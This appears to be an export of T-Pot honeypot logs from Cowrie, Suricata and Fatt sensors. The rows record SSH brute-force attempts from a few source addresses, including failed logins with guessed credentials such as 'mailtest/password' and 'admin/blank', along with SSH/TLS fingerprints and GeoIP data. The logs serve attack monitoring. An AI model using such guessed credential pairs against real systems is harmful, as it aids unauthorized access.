"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50986, "dest_port": 22, "timestamp": "2021-09-20T11:17:11.862187", "@timestamp": "2021-09-20T11:17:11.862Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28337	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:17:12.900123+03	2021-09-20 14:30:02.697553+03	{"_id": "BQbsAnwBvYTbRNuEnC5N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 23447, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1428761366543387, "@version": "1", "in_iface": "enp5s0", "src_port": 36441, "dest_port": 53, "timestamp": "2021-09-20T11:17:12.900123Z", "@timestamp": "2021-09-20T11:17:12.900Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28338	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:17:12.902042+03	2021-09-20 14:30:02.699553+03	{"_id": "BgbsAnwBvYTbRNuEnC5N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 23447, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1614, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1428761366543387, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 36441, "timestamp": "2021-09-20T11:17:12.902042Z", "@timestamp": "2021-09-20T11:17:12.902Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28339	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:12.95286+03	2021-09-20 14:30:02.700553+03	{"_id": "BwbsAnwBvYTbRNuEnS6U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35010, "dest_port": 443, "timestamp": "2021-09-20T11:17:12.952860", "@timestamp": "2021-09-20T11:17:12.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28340	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:13.136224+03	2021-09-20 14:30:02.701525+03	{"_id": "DgbsAnwBvYTbRNuEni5w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [mailtest/password] failed", "session": "26339735a2ac", "@version": "1", "password": "password", "username": "mailtest", "timestamp": "2021-09-20T11:17:13.136224Z", "@timestamp": "2021-09-20T11:17:13.136Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28341	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:04.318983+03	2021-09-20 14:30:02.703553+03	{"_id": "zgbsAnwBvYTbRNuEey1A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "96d9b354e2af", "@version": "1", "duration": 4.659135818481445, "timestamp": "2021-09-20T11:17:04.318983Z", "@timestamp": "2021-09-20T11:17:04.318Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28342	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:17:06.111801+03	2021-09-20 14:30:02.704561+03	{"_id": "4AbsAnwBvYTbRNuEgC3y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 641927652413203, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44420, "dest_port": 22, "timestamp": "2021-09-20T11:17:06.111801Z", "@timestamp": "2021-09-20T11:17:06.111Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28343	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:17:06.247865+03	2021-09-20 14:30:02.706554+03	{"_id": "4wbsAnwBvYTbRNuEgi04", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44420, "dest_port": 22, "timestamp": "2021-09-20T11:17:06.247865", "@timestamp": "2021-09-20T11:17:06.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28344	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:05.9157+03	2021-09-20 14:30:02.707553+03	{"_id": "5gbsAnwBvYTbRNuEgy0S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b80bb2fd57d2", "@version": "1", "timestamp": "2021-09-20T11:17:05.915700Z", "@timestamp": "2021-09-20T11:17:05.915Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28345	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:06.956584+03	2021-09-20 14:30:02.708553+03	{"_id": "6AbsAnwBvYTbRNuEhi36", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/blank] failed", "session": "b80bb2fd57d2", "@version": "1", "password": "blank", "username": "admin", "timestamp": "2021-09-20T11:17:06.956584Z", "@timestamp": "2021-09-20T11:17:06.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28346	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:08.831067+03	2021-09-20 14:30:02.710554+03	{"_id": "7AbsAnwBvYTbRNuEii3k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c0a8310169e3", "@version": "1", "duration": 2.9937028884887695, "timestamp": "2021-09-20T11:17:08.831067Z", "@timestamp": "2021-09-20T11:17:08.831Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28348	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:17:09.881963+03	2021-09-20 14:30:02.713554+03	{"_id": "9QbsAnwBvYTbRNuEkC2U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2011128866926646, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57622, "dest_port": 22, "timestamp": "2021-09-20T11:17:09.881963Z", "@timestamp": "2021-09-20T11:17:09.881Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28349	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:09.882138+03	2021-09-20 14:30:02.714553+03	{"_id": "9gbsAnwBvYTbRNuEkS3a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57622, "timestamp": "2021-09-20T11:17:09.882138", "@timestamp": "2021-09-20T11:17:09.882Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28350	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:11.818793+03	2021-09-20 14:30:02.715553+03	{"_id": "BAbsAnwBvYTbRNuEmS6q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50986, "timestamp": "2021-09-20T11:17:11.818793", "@timestamp": "2021-09-20T11:17:11.818Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28351	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:17:12.995583+03	2021-09-20 14:30:02.716553+03	{"_id": "CAbsAnwBvYTbRNuEnS6U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35010, "timestamp": "2021-09-20T11:17:12.995583", "@timestamp": "2021-09-20T11:17:12.995Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
